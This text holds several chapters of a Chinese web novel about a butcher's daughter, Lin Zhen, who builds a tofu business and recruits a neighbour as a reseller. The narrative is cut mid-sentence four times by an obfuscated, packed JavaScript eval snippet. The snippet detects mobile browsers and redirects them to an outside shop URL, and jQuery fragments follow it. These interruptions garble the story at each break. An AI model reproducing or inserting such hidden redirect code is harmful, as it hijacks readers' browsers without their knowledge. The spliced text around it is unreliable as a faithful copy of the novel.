虽然回家后,那股子脚趾扣地的尴尬又涌上心头来,可此时的林真,确实是志得意满,小林得意! 不论是谁,别想要挟她! “这就买着了?”贺景围着那头四肢粗壮,毛色顺滑发亮的毛驴儿瞧了半天。 转来转去,只瞧见了神气,半点儿没瞧出一丝异样来,连呼吸都格外顺畅平稳。 “林掌柜给帮了忙,不然,养得如此膘肥体壮的驴子,还调.教得如此温顺,哪里会往外头卖?”林真解释道,且这样打着灯笼都难找的毛驴只卖八贯钱? 林真还有甚不知道的,这是林掌柜特意帮忙,且还做得如此周到,半点儿不邀功,实在教人心里舒坦。 “把大毛牵后头去,咱去烧饭。爹多心疼你,割了好大一块儿上好的猪五花呢!” 回家路上,林真听了一耳朵‘女婿能干’、‘舍得下力气’这样的话,此时瞧见正主,不免出言打趣。 “嗐,你这妮儿瞎说啥呢?我是瞧着咱自家办席,可家里人忙叨叨却没吃上几口,这才割肉的!”林屠户不认。 苗娘子擦着手笑,她原是想去烧饭的,可这会儿却不说话了。 “阿姐,新来的驴子叫大毛吗?”这是一心只关心毛驴儿的燕儿。 天儿热,且林家人肚里有食,也不是很馋油水,便没放大酱烧那腻乎乎的焖肉。 五花肉被一分为二,大些的加了姜片小葱煮了做个蒜泥白肉。肥瘦相间的肉,片得极薄,蒜末儿加足了,家里还有一坛子上好的香醋,料汁儿一淋,夏日吃来极为爽口。 另一块儿小的,切了与豆干儿一块炒,加了好大一把青蒜叶子在里头。 在枣儿村住着的好处这时不就显出来了?这青蒜是自家菜园子里头长的,不肖花钱买,洒起来就是格外豪气。 贺景很有些烧菜的天赋,有林真指导,倆人合理整治的这一桌子菜不止卖相极好,味儿也是没得挑的。连有些吃絮了的豆角,焯水凉拌后都显得格外爽口。 一家子围着桌子有说有笑。 另一头,赶车的村人还翘着脚美呢! “哼,我今儿就给屠户家提了价,真姐儿是泼辣,可她还不是啥都没说?照样得搭我的车?我今儿瞧了,她送货的那酒楼好生气派,那一筐子叫甚腐竹的,不晓得要卖多少钱。只加五个钱,都算我厚道了!” “这,当家的,林家往后若是不搭咱家的车……” 他娘子有些担忧,一日二十文已是她家赚了,骤然加价,人定然不乐意的。 “嗤,当真是妇道人家没见识。你以为林家这生意能长久?照她家这样赚下去,迟早能自家买牲口来送货。我不趁着她家还用得着我这车,赶紧赚些银钱来?日后没了这桩巧宗儿,两文三文的,甚时候能攒下家业来?” “这,万一她家现就去买牲口呢?” “哪有恁容易?”赶车人很是得意。 “我算过了,屠户家先前办的酒席是好,可这一下也快将家底儿掏空了。他家先要攒钱才能说买牲口的话哩。能拉车驮货的牲口,最便宜的属驴,一头壮驴,怎么着也得要七八贯,且驴子不经调.教拉不了车,一时半会儿的,他便是想买也买不着。少则三五月,多则半年,我必得再涨涨价,趁着这个时候多赚些钱来!” 村人是打定主意要从林屠户家扣出些钱来,一日二十文可不够,再涨涨价,一月赚上一贯也不难! 正美着呢,忽听见有人喊他。 趿着草鞋往外走,瞧见同村人笑眯眯道。 “屠户家刚才又牵了一头驴子家去了。瞧着油光水滑的,脾气还好,你不是说村里最会相牲口的就属你?怎不去瞧瞧热闹?” “啥?他家买驴了?他哪来的钱!”赶车人高声道,惊疑不定。 “嘿,这话说得。他家难不成还会赚钱的法子四处说与人听?反正人是牵了驴子家来,你不信,自个儿瞧去!” 村人说着,甩手就走,他今儿还就要看看,这赶车的去不去林屠户家。 村人今日这热闹是看不成了。 赶车人刚才在家里畅想赚钱买地,冷不丁梦碎了,这会儿心里气得慌。在家左等右等,始终不见林家来人告知他明日出车。 憋着一口气睡下了,第二日早早爬起来。 赶着车去村口,他倒要瞧瞧,屠户家是不是真买着了能拉车的驴子! 他倒也没白等,哒哒的蹄声儿传来,一眼就瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16355868|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了赶车着车的贺景,还有林真和燕儿。 因带着的货少,这三人都是坐在车上的。那驴子脾气是真好,林家那上门婿手里只拿了根小木枝做样子,单单用缰绳,就能教拉车的驴子听话。 驴车一路行来,颇为稳当,那头毛色极好的驴子步子不紧不慢,瞧着还透出一股子不慌不忙的从容。 教谁来看,这都是一头极好的驴子。 “倒是巧了,您今儿也起这么早。”林真昨日高兴过了,这会儿见了人倒是先打招呼,也不说酸话。 “哼!等人!”赶车人倒是先气着了。 这会儿确实早,除了林真,还真没人找他拉货进城。除了去县里卖东西的,村人确实不会这么一大早往县里去。 林家三人见人如此,倒是心知肚明。遂不再搭理村人,自往县里去了。 “我按着时辰来接你,你就在此处,可不要自个儿搬重物。” 将姐妹二人送至兴福坊内,贺景着急家去滤豆浆,将摊子支开,叮嘱两句便要走。 “你慢些,我去买俩馒头来,你路上先垫一口。” “不用,我家去就能吃,你别管我了,和燕儿吃罢。” 嘁,当真是不拿自个儿身子当回事儿。多早就起来了,扫洒屋子架车装货,一路将她送到兴福坊还不见累。早起喝的那碗米汤能顶甚事儿? 说也不听,当真是犟。 “燕儿,他不吃咱们吃。你要糖馒头还是肉的?” “糖的。”燕儿欢快答道。 “这样才乖。你在此处等着,我去买来。” 托了旁边的伙计帮忙照看一二,林真去馒头铺买朝食。 待下半晌贺景来接的时候,林真有了经验,将买来的炊饼直接塞人怀里。 “我,我不……” “吃你的,别说话。咱家又不是吃不起饭了,恁大的身板饭都不添。怎的?家里人不许你吃饭啊?” 林真昨日吃饭时留心看着,贺景居然不会主动添饭,非要等家里人都添过一轮了,锅里还有剩的他才动手。 不是,这么小心的? 才发现的时候林真还有些来气,可瞧见瘦条条的男人小心舀饭时,不知怎的,她突然在他身上瞧见了上辈子的自己。 那个留守在家,这家蹭一顿,那家蹭一顿的小孩儿。 28. 第 28 章 林真现在有些心烦。 倒不是烦贺景,他那不添饭的毛病好治得很。烧饭的时候多添半碗米,桌上有人,他便不会慌着下桌子。 林屠户夕食时必会倒半碗米酒来吃,林真原先还想盯着林屠户少饮酒,后头发现那米酒像极了前世的醪糟,里头还有米粒儿呢!一点儿不醉人,便不管林屠户了。 如此,林屠户这小爱好便一直保留下来。 现在倒好,他要饮酒吃饭便慢,倒是刚好能教贺景多坐一会儿,如此也不怕贺景吃不饱。 她愁得是另一件事儿:家里的熏豆干太多了。 原先没有丰乐楼的订单,家里每日产出的熏豆干不过百来块,林真摆摊卖一些,林茂安分销一些倒也能卖完。可现在每日多产三斤腐竹,便会多出一百多块熏豆干。 多出来的这些,可不好卖。 林真也想过制些其他豆制品来卖,可细想来居然都不成。 制便宜省事的鲜豆腐吧。 这天儿实在是热,不过半日那新鲜的豆腐便会发粘。费心费力运往县里去,已然不新鲜,怎会有人掏钱买? 如此,这鲜豆腐只有村人偶尔提前说了,才会制上一些在枣儿村卖。 若是制红方(腐乳),这天儿也不适合。未入秋,天气没转凉,湿度又大,红方要发酵长菌毛才成。可这天儿要想发酵?别想了,怕是只能发臭。 思来想去,居然只有熏豆干能多放几日。可熏豆干儿再是比其余豆制品易保存,若两三日卖不出去,那也会坏。 别说豆子是花钱买的,就只瞧着她爹和贺景握着滤架的臂膀上鼓起的青筋和满头满脸的汗,林真就说不出将挑过豆皮儿的豆浆白扔了的话。 浪费粮食是万万不成的。可瞧着又是抹盐又是熏烤的豆干儿卖不出去,更教人心疼。 某一刻,林真是真想念上辈子的科技与狠活儿。 摇摇头,将脑子里不切实际的想法甩出去后,林真盯着熏豆干儿发呆。 研发新产品行不通,那就只能扩大客户群体。 林真想起了林茂安,她这堂哥算是她的第一位分销商,且他的熏豆干销量其实很不错。 林茂安脑子确实活泛,他日日都去卖熏豆干儿,可他不会每日都去同一处。今日去一处,明日便换地方,三两日才会往同一个村落去。 如此一来,他拿走的熏豆干儿倒是日日都能卖干净。 原先只拿四十来方,现基本能稳定出货六十方左右。且随着丰乐楼将金缕素云当招牌菜推广后,偶尔还会有乡绅托林茂安捎带一两把腐竹。 他这豆干货郎的生意倒是稳住了。 乡间的销量如此,县里掏钱买豆干儿的人只会更多,只她们家实在分不出人手去另一处摆摊。 若是再有一个类似林茂安这样的分销商,她手里的熏豆干便不用愁了。 马娘子! 林真眼睛一亮,一下就想到了从前这位人缘颇好又热心肠的近邻。 == “你今儿不用来接我和燕儿。我要去寻马娘子说话,不知甚时候才能家来。家里的豆子不大够,索性今儿去米行买豆子,我便与米行的伙计一起家来,甭担心。” 林真将一肉一素俩热腾腾的馒头塞给贺景,不等人说话便摆着手赶人走。 “这些家伙什也不用担心,一会儿雇俩脚夫送到丰乐楼去暂放一晚,咱明日去送腐竹的时候一道带来便是。” 林福已说过几回将东西寄放在丰乐楼的话,只林真宁愿自家费事些也不愿在此类寻常小事儿上麻烦人家。这回事出有因,也只能去寻林福帮忙。 方方面面俱已考虑齐全,贺景想不出还能说甚,只能揣着俩馒头赶着驴车家去。 林真卖完腐竹又安顿好青伞条凳儿后,这才提着两方特意留下的熏豆干,又买了杨梅、李子等时令鲜果凑够一兜子后,这才往水井巷去。 水井巷还是老样子,水井、老树和蝉鸣,井口的黄葛树下坐了好些纳凉的妇人。 有人认出林真,笑着打招呼,林真笑眯眯地回应,再次踏上熟悉的地方,心情已然大不相同。 一路往马娘子家去,恰好撞见了在门口啐人的马娘子。 “呸!日日甩脸子给谁瞧?咱这处都是些目不识丁的白身,可看好你家那金疙瘩了!万万别教他同咱们说话,最好啊,连瞧都别瞧一眼,免得从这水井巷里飞不出去!” 瞧马娘子那方向,竟是林家原先的院子,现不知道是谁人在住,舍得马娘子如此叫骂。 林真停在原地,看来今日来得有些不凑巧。 “嗯?真姐儿,你这是来寻谁的?旁边是燕儿?哎呦呦,可不得了,小丫头长肉了,瞧着怪是乖巧惹人疼!” 马娘子一回头,瞧见林真姐倆,倒是半点儿不尴尬,反笑着招呼人。 林真遂笑道:“娘子一向可好?我们姐倆是来寻你的。” 又教燕儿喊人,半句不提刚才瞧见的事儿。 “真姐儿勿怪,家里没甚好东西待客。” 马娘子瞧见林真手上带了礼来,赶紧调了两盏子蜜水来待客。 心里又将自家小儿子骂一回,也不知野到哪儿去了,教她连使唤人去买两碗豆儿水来待客都不成! “娘子别忙活了,我寻你有事儿呢。且坐下,咱们说说话。” 待马娘子坐下后,林真将想了半天的说辞细细道来。 “此物唤熏豆干,凉拌、素炒都是极好的。若是加些肉进去,还能教豆干儿也染上肉味……一方三文,两方五文,只一方,便能整治出一盘好菜来,巷口人多,若是在那头支张桌子卖熏豆干,便是教巡栏收去两个钱,想来是能赚钱的。” 一口气儿介绍了东西、吃法、卖价,连如何售卖都讲了。林真端起茶盏子喝水解渴,顺便细细打量马娘子的神情。 瞧其面色,倒很是高兴。 “真姐儿,这东西原是你制的?真真是好本事儿,前些日子,你叔家来。嘟囔着人家请他吃了好菜,正是这熏豆干哩!昨日还念叨着要请回来,这回,我听你的,用方好肉来炒,不比那凉拌的来得好吃?” 马娘子心中甚是欢喜。 “娘子,此物您从我手上拿,我收您一文钱一方。这售卖一事,您怎么看?”林真问道。 “真姐儿有这样的好事想着婶子,婶子怎会不知你的好。”马娘子一口同意,随即眉头微皱。 “也不怕真姐儿笑话,家中钱财不甚宽裕,这头回卖豆干儿,婶子怕是只能先拿二十方来试试。” 马娘子将巷子里的人家都思量过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16371122|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回后,这才定下二十方的数来。 这个量,她倒是有信心能卖完。 “娘子,这样,您先不肖给我钱,待豆干卖出去后……” 林真话还没说完,就教马娘子打断。 “不用,真姐儿,婶子虽没做过生意,可也知晓买卖一事,从来都是一手交钱一手交货。想赚钱,又想将风险都压.在你身上,哪有如此行事的。你别担心,二十个子,婶子还是能摸出来的。” 林真瞧着马娘子,对自个儿选的这位分销商更满意了。 两人又商量了一些细节,约定了明日送熏豆干的时辰,留下那兜子鲜果后,林真这才带着燕儿去米行。 马娘子快言快语,甚是爽快,时辰还早,倒不用着急,姐倆便打算一路走过去。 马娘子一路将林真姐倆送出水井巷后,又转悠着将自家疯跑的小儿子捉来。教他去码头寻家里那死鬼男人,今日请人来家里吃饭,好还了人家的人情。 这才急匆匆回去整治今日的夕食。 匆匆回家,瞧见隔壁那婆子又从门缝儿里盯着她家瞧,马娘子直道晦气! 心里发狠,她定要将这熏豆干卖出去! 不说别的,将每日吃水的钱给赚出来,日日买上三车水来,这老虔婆再敢门缝儿里瞧人,看她不骂上门去! 水井巷之所以叫水井巷,是因着在此处易出甜水井,巷头就有一口好井。 可马娘子家偏偏就没出好井,一家子五口人,若是全指着巷头的那口井过活定是不能,少不得要叫水车送水。 可马娘子养着两儿一女,娶妇嫁女,一个铜子儿恨不得掰成两半儿来花。 水车一缸子水要两文钱,她家五口人,再是减省也得要上两缸子水才够用。 可日日四文钱花出去? 那不成,马娘子得心疼死,她只叫一缸水,其余便支使家里大儿子去巷口排队打水。可一回只能挑一担,巷子里日日都排着长队等挑水,多去几回这日就不用做活儿了。 不说时间耗不起,人人眼珠子都盯着那口井。若是谁家一日来来回回跑几趟,能教人堵着门骂! 从前隔壁是林家,林屠户好说话,倒不介意马娘子日日从家里挑两担子水。 可谁叫林家搬走了,今年日头又格外毒。一日比一日热,用水量大增,惹得马娘子心里直骂:贼老天,莫不是要收人去? 可日子还是得过,马娘子咬牙要一缸半的水,家里小子跑两回。其余的?她带着礼敲开隔壁的门,商量着能否从那口井里挑一担水? 哪晓得,人将眼皮子一翻,说些话很不好听。 “这院儿恁窄,可却多花了好些钱,全因着院子里的那口井。今日你家开了这个口,明日又是他家,我这日子还过不过了?这样,你要是愿意将你家那院子划出一半来给我家,我倒是能考虑考虑,教你从井里挑水吃。” 马娘子气个半死,转身便走,打那以后,每日便花四文钱从水车处买水。 可隔壁那婆子,每每瞧见她家里的人,那傲的!只拿鼻孔瞧人! 这回,她必定要将这卖熏豆干的摊子支开。 马娘子盘算着,眼睛盯着吊在梁上的腊肉瞧,心一狠,将整块儿腊肉全切了! 又跑去门口,将木门全敞开。 29. 第 29 章 申时,日头落下大半,正是家家户户备夕食的时辰。 晚风徐徐,水井巷内,大半条巷子的人家被一股子咸鲜折磨坏了。因这浓香实在霸道,稍一探头,就晓得是马家在烧肉吃。 只马家娘子从前也没甚擅庖厨的名儿传出来,今日是怎的了? 夕食弄得这样浓香招人。 马家汉子提溜着一壶浊酒和一包嚼杂家来。 入了巷子,闻着越来越浓的香味心里奇怪:真是奇了,他怕招待不周还特意去桥头的集市上买了嚼杂家里。可这味儿闻着怎像是从自家传来的? 同行的汉子倒是不好意思:“吃顿便饭,怎能如此劳动嫂子哩!” 话说得客气,可心里倒是极为受用,瞧瞧,弄得这样周到。 “不妨事,不妨事。你嫂子这人,最是刀子嘴豆腐心的,她早早便起意,定要招待你一顿好饭食。” 马家汉子呵呵笑道。 可心里却比友人还奇怪,家里的情况他晓得,因着儿子女儿渐大了,娶妇嫁女不是一笔小钱,家里进项不多,马娘子愈发烦他与人吃酒作耍。 可她也不想想,去码头抢那来钱多的活计得抱团,若是不将这些工头招呼好了,谁人肯搭理他?可今日她倒是转性儿了,如此舍得。 马娘子今日确实是下了功夫整治夕食的。 腊肉薄薄切片,加了熏豆干和青蒜叶子爆炒,一块儿腊肉倒是炒出满满两大盘子,这是主菜。又有韭叶炒鸡子、焙瓜瓠、拌胡瓜和一碟子佐粥的咸菹。 再加上马家汉子买来的嚼杂,整整六个菜,摆了一桌子。 “劳嫂子整治这样好的饭食,没带甚好东西,只提了二两灯油来,嫂子莫嫌。” 马娘子眼睛一扫:嘿,蓖麻油,倒是不孬。 脸上笑盈盈道:“怎还带了东西来,恁客气。今儿好生喝两盅,叫大郎作陪,给你们斟酒吃。” 马家大郎在染作坊内做工,只不过是最下等的染工,一双手常年浸在染缸内,教热水和染料泡得没一处好皮肉。如此辛劳,所得钱财只比坊内的杂役学徒好些。 此时听见马娘子的话,也只站出来拱手叫一声‘世伯’,其余的话是一个也不枉外蹦。 马娘子每每瞧见大儿子这幅闷葫芦的样子就来气,今儿有喜事,倒是难得不生气。打了招呼,将堂屋留给喝酒的汉子,自家带着女儿和小儿子在灶屋用饭。 马家小郎今日倒是乖觉,瞧见灶屋内也有满满一大盘子的腊肉炒豆干儿,倒是不吵闹,乖乖跟着进灶屋。 “吃,多吃些,瘦伶伶的可不行。”马娘子先夹了一箸腊肉炒豆干儿在女儿碗里,又训小儿子。 “慢些吃!肚里像个无底洞,几天没吃饭似的。老娘平日可没饿着你!” 灶屋桌上的菜与堂屋只差了一道嚼杂,既丰盛味儿又好,马家小郎直直往嘴里塞,且顾不上陪自家老娘斗嘴哩。 马家小郎吃完也不抹嘴儿,带着油汪汪的嘴出门炫耀去。 往日这副吃完就往外跑的模样定是要被马娘子拧耳朵的,可今日,马娘子瞥了一眼猴子似的小儿子,没管他。 “瞧着你爹他们还得吃上好一会儿,娘先出去一趟,你瞧着人要吃完了来井口的老树下寻找娘啊。”叮嘱了女儿一番,马娘子也挎着个篮子出门去。 往巷子口的水井下一站,果然,好些出来纳凉的妇人瞧见马娘子就笑。 “你家今日吃得甚好东西?引得我家里的小儿直闹腾。” 马娘子心里欢喜,瞧瞧,这不就来问了。 真姐儿说的支个摊子卖豆干儿可不行,白给那巡栏两个子儿,还不如就在自家售卖。又不耽搁事儿又不用给钱,只自个儿要费些功夫多说几句罢了。 “没甚。就是难得买到了一方好豆干儿,炒来待客。熏豆干儿晓得吧?兴福坊内出来的好东西哩!那味儿可好,拌来当凉菜吃客行,加些肉进去炒也成,最神奇的是。加了肉进去,那熏豆干儿也能吃出一股子肉味来。且那熏豆干儿是抹了盐的,都不用多加盐!” …… 跟着米行送货的伙计家去的林真,这时还不知道马娘子为了熏豆干下足了本钱正卖力宣传呢。 她瞧着进门的贺景奇怪道:“挑水去了?怎没赶驴车去?人去挑水费劲又费事儿的,哪比得上赶车去。” 贺景抹了抹脸上的汗,不在意道:“我去河边割草,顺手就挑担水家来了,近日用水量大。” 林真瞧了一眼檐下的青草,琢磨道:“家里这仨光吃豆渣确实不成,可它们仨吃得太多了。家里活儿本就重,日日给它们割草也累人。这样,等我爹家来了给他说说,寻个靠谱的村人每日给咱家割草,咱给钱就是了,几担青草费不了几个子。家里半大小子就能割,想必不少人家是乐意的。” 林屠户又跟着村人进山打柴去了,林家磨豆子制腐竹,除了豆子消耗得飞快,这柴火也耗得多。 贺景张了张嘴,想说话,可瞧着林真面上的神色,最终只点点头。 晚间吃饭时,林真说了教马娘子帮着在豆惠坊内销售熏豆干之事。 “真姐儿这主意好,马娘子爱结交,人又利索又能言善道的,有她相帮。瞧着家里恁多的熏豆干,我这心里才不发慌。” 最先赞的居然是一向不多言语的苗娘子,看来家里堆积的熏豆干给苗娘子造成的压力不是一星半点儿。也亏得她能忍住,面上不带出一点儿异色来。 家里有了压力,谁都没说一句抱怨的话。这教林真很是高兴,这样才有奔头! 翌日,林真先去丰乐楼送腐竹拿家伙什,又往豆惠坊的方向走,才在半道上就瞧见了等在路边的马娘子。 马娘子面上满是笑:“真姐儿,昨日托我帮着买熏豆干的人家有好些呢!我今日要三十二方,你可有多的匀给我?” “有,怎没有?卖谁都是卖,匀给娘子我也不吃亏。” 马娘子笑容深了些,真姐儿倒是真大方。 急忙将数好的铜子儿递出去,又瞧着林真数了三十二方熏豆干帮着装在背篓里。 “我忧心你这头没多的,昨日都没收定钱。真姐儿,婶子想了一晚上,以后婶子先收定金,你们回去时咱们碰个头,将第二日要多少熏豆干定下来。这样我也敢大大方方多要些豆干来卖,也不扰了你的生意。” 今日匀一些,明日匀一些,这不是麻烦人嘛?万一真姐儿自家摊子上不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376978|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖可怎么办?马娘子舍不得少挣钱,可也不敢教熏豆干砸在自家手里。 昨日翻来覆去,才想出这么个法子来,此时,正有些忐忑地瞧着林真。 这模式,倒是有些像后世小区里帮着团购采买的团长。 林真笑了笑,赞道:“娘子好灵巧的心思,这法子甚好!” “真的?我就说能成!”马娘子这才欢喜道。 “还有一事,真姐儿,往后我去城门口等你。咱们在那处交货可好?” “成!”林真痛快点头。 货源保密嘛,她晓得的,她也乐意与马娘子行个方便。 这样伶俐还明理的人可不多见,她要是多几个这样人品好的经销商,售卖熏豆干之事可就不用发愁了。 与马娘子告别后,照旧到兴福坊支摊子。 “今日还吃馒头?要不要换个蒸饼吃?”林真由着贺景支摊子,自家去买吃食。 “阿姐,我吃蜜豆馅儿的甜馒头!”燕儿欢快道。 林真眼睛斜睨着贺景。 “馒头,素笋丁的就成,可别再买肉的了。”贺景小声道。 “成,等着我。”林真满意点头,小样,还治不了你了。 连吃了好几天的馒头了,林真可不乐意吃。 贺景的毛病治好大半,用不着赶时间,她便四处逛逛找吃食,粥、馄饨、烧饼、汤饼…… 油条!? “店家,这油炸鬼怎卖的?可有相配的浆子?”林真两眼放光。 “一条五个钱,送一碗酸浆子,小娘子来一条?” 五文?可不便宜,一个肉馅儿的馒头才三文呢!可这玩意儿是油炸的,且很有分量,估摸着一条就能吃饱。 “成,我来一条。碗待会儿给您送回来可成?我就在那处支摊子卖腐竹哩。” “成!”店家也很是爽快。 五文一条的油炸鬼果然不同,满是麦香又格外酥脆掉渣,可却一点儿不会发硬。 就是这酸浆子差了点意思,这种用大米和小米发酵而成的酸浆,除了酒精味极轻外,林真一直觉得与林屠户天天喝的米酒(醪糟)差不多。 还是要配甜豆浆才好吃! 又想了想糖的价格,林真果断将刚升起的念头扔出去:别想了,自家吃吃就算了,若想将豆浆推销给店家配着油炸鬼卖。 一个字,难! 林真还没吃完,陆续便有来买腐竹豆干儿的客人。忙了好一阵儿,觑着空,教燕儿守着摊子,林真去还碗。 “实在对不住,刚客人多,耽搁店家做生意了。” “小娘子哪儿的话,一个碗罢了。” 开门做生意的,大都是和气生财,店家面上团团的笑,半点儿不在意。 “咦,您家隔壁这是做甚营生的?这时候才卸板子?”瞧见隔壁铺子才有动静,林真好奇道。 “他家是制熝肉的,熝鹅极为有名儿。多是在下半晌才开张的,小娘子腐竹卖得好,早早便家去了,倒是没碰上。” “唉,哪里哪里,我一个小小的摊子,怎比得上店家这样有正经门脸的吃食铺子。” 熝肉?卤肉? 林真眼睛倏地一亮! 30. 第 30 章 这日,林真难得不着急回家去挑豆皮儿制腐竹。 等着那家卖熝肉的店家开门后,林真头一个上门去。 “小哥,听说你家熝肉极好,哪种滋味最足?又都是甚价?” “娘子细瞧,签字上都挂着哩。鸡、鸭、鹅、猪和各类嚼杂都有,今日运气好,还有兔呢!滋味都是极好的,单看小娘子喜欢甚。要说招牌,自然是咱家的熝鹅,价也是最高的,便宜些的是猪肉和嚼杂,单都是一样使了好料来熝的,味不好,不收你钱哩!” 嚯,这口气,比她还能吹。 林真往油亮似琥珀的熝肉上瞧,鼻尖又萦绕着香辛料霸道的香味儿,不自觉地咽了咽口水。 “成,给我来半只熝鹅,能多给几勺子鹵水不?” 那店家笑眯眯的,可说话却滴水不漏。 “自然会给您添鹵水的,可这鹵水加多了怕是不好带回去,一路要是污了您的衣裳倒是不美。娘子放心,我这熝肉都是教鹵水浸得透透的,滋味定是足的,您瞧!” 那小哥利落斩下半只熝鹅来,指着皮子下的肉给林真瞧。果然,皮子下的嫩肉还带着汁水,瞧着就诱人。 “我送您一份儿嚼杂,娘子吃好了再来!”很是大方地捡了鹅肝、鹅心和鹅肠包了一包。再用双层油纸与熝鹅封严实了才递给林真,实在挑不出一点儿不妥。 林真闻弦知意:连鹵水都不愿意多舀,这卖鹵水或寻求合作的路子怕是不成。 她也不纠结,笑着道谢,数了铜子结账后,几人不再耽搁,径直家去。 慈溪县夏日里卖熝肉嚼杂的铺子极多,此处不成,另寻一处就是了。 林真不是没动过自个儿熬鹵水的念头,可香料售价实在是高,且此处香料到底不如后世齐全,她现在想吃辣都只能吃茱萸或芥菜制成的芥酱,她是没信心(没钱)买恁多香料来折腾。 手中熝鹅的香味教人口舌生津,对了,还不一定能竞争过本地卖熝肉嚼杂的铺子。 种种原因综合考量,还是寻一个能合作的铺子,她出豆干,人家出鹵水来得方便。如此,说不得不止能教自家这小摊子添一样新品,还能再打通一处市场售卖豆干。 林真想得火热,熝鹅的那股子香味也实在勾.人,催着贺景快些家去。若要问熝肉嚼杂,她屠户爹绝对是家里最有话语权的那个。 夕食。 尝到第一口熝鹅的时候,林真只有一个念头:幸好没不自量力与人拼味道,难怪店家将方子看得这样紧,宁愿送嚼杂也不肯多添半勺鹵水。 咸香鲜润,还有一股子微妙的辣味儿,那丝辣味实在妙,不但不发苦反而巧妙地中和了熝鹅的肥腻感。且也不知怎么鹵制的,那鹅肉极嫩半点儿不柴,却不失肉感的嚼头,实在是妙。 林屠户咂了一口酒,赞道:“妙极,妙极,难怪是兴福坊内出了名儿的好菜咧!” “再没比这更好的熝肉了?”林真暗戳戳问。 林屠户摇摇头,十分肯定:“再没了,至少爹可没吃过比这熝鹅还好的。” 林真沉思一会儿,她好像也没吃过,两辈子都是。 这熝鹅不止是鹵水味道好,这鹅也是极好的。鹅肉肥而不腻自带一股鲜甜,定是专门挑了好鹅,一早现杀现卤的。 说不定这大鹅都是专门养的,方方面面俱都考虑齐全了,才能有如此好滋味。 若是店家晓得林真所想,怕是要引她为知己,可不是么! 他家的鸡、鸭是收来的,可最要紧的鹅,确实是自家专门寻了有好水的地方养的。 “那您觉着还有谁家的熝肉嚼杂味足可口?” 林屠户又抿了一口酒:“有能耐在县里支摊子、摆浮铺的店家自然都不差,可要说好,还是上回王巡栏说的朱家分茶店新来的厨娘,确实是制得一手好饭食,尤其是熝肉、糟鱼,味儿极好。” “那您说,能不能教朱家分茶店帮咱家鹵豆干?咱家豆干多,也得搞些新花样出来了。” 林屠户一思量:“成,爹去试试。我与那朱家分茶店的掌柜也算有几分交情。且他家的食客都是熟人,偶尔有食客带些稀罕吃食请厨娘加工,他家也是肯的,倒是不唐突。” 朱家分茶店挨着豆惠坊和渔兴坊,里头住的多是普通百姓,朱家做得也是这些人家的生意,故而也接些帮着加工的活计。 于是,第二日便换林屠户赶着车送姐倆去摆摊。 瞧见了马娘子,马娘子倒是多高兴,央着林屠户将三块熏豆干对半切开。 “今儿倒是运气好遇上了你,你下刀子那是再准不过了。不然,合买一块儿的两家人总觉着对方手里的那块儿大。” 坊内有不少人家买个半块尝鲜的,马娘子绝不错过一单生意,这样半块儿的单子也肯应。只不过在分豆干儿时,要多费些心。 “咦,那合买一块儿的人家怎么出铜子儿呢?”林真倒是好奇,一方熏豆干卖三文,这怎么出钱? “这有甚?少出钱的那方用东西补就是了,或是菜干或是豆子,这他们自家商量去,商量好了,我才接这个单呢!” 马娘子现很有几分神气,瞧瞧,这才两日,她已赚了一吊多钱了! 这在往日是想都不敢想的,隔壁那婆子从昨日起就在她家门口打转了。想买豆干又拉不下脸来,最终托了其他人帮忙买。 哼!还以为她不晓得呢。 不过是她不与对方计较,更不与钱财过不去。想到这儿,又想起林家人的好性子来,少不得开口恭维一二,顺便贬一贬隔壁行事小气之事。 “还是与你家作邻人爽快,既不会抠抠搜搜,也不会乱晃着一双招子盯着别人家瞧。”这是马娘子的真心话。 “瞧真姐儿这能干样,往后便是往县里来住,那定然是往西处置宅去,再不能与我们作邻居了!” 嘿,西处可全是清贵人家,这恭维实在是妙。 林真笑眯眯应道:“承您吉言了。” 这日,因挂心着鹵豆干,林真带来售卖的熏豆干便少了些。 等林屠户带着在朱家分茶店鹵好的豆干来接人的时候,正好遇上一位没买着豆干的娘子出言抱怨。 “这做生意,怎么也不将货备得充足些?教我白跑一趟,这天又热……” 其实林真近日总是剩下些熏豆干没卖出去,她只是减了那部分的量。 “实在对不住……” 致歉的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 